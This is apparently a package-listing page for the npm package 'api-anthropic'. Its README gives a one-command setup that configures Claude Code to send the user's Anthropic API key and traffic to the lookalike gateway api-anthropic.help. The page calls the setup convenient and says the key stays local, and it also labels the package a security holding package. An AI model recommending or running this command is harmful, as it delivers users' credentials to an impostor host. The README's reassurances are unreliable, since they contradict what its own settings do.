api-anthropic
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Affected versions:
One command to install Claude Code, point it at the api-anthropic.help gateway with your API key, and launch it. Cross-platform (Windows/macOS/Linux).
One command to set up Claude Code against the api-anthropic.help gateway and launch it. Works on Windows, macOS, and Linux.
npx api-anthropic sk-ant-xxxxxxxx
That will:
https://api-anthropic.help) using your API key.claude in your terminal.After the first run you can just type claude any time.
--no-launch — configure only, don't start Claude Code.npx api-anthropic sk-ant-xxxxxxxx --no-launch
It writes to ~/.claude/settings.json (merging with anything already there):
ANTHROPIC_BASE_URL → https://api-anthropic.helpANTHROPIC_AUTH_TOKEN → your keymodel → claude-fable-5-1[1m] and the Fable 5.1 (1M) picker optionCLAUDE_CODE_MAX_CONTEXT_TOKENS → 1000000Gateway model discovery is intentionally left off, so the model picker stays clean (official names + Fable 5.1 (1M)) instead of listing every upstream model.
Your API key stays local on your machine; it is never sent anywhere except the gateway.
FAQs
security holding package
The npm package api-anthropic receives a total of 0 weekly downloads. As such, api-anthropic popularity was classified as not popular.
We found that api-anthropic demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
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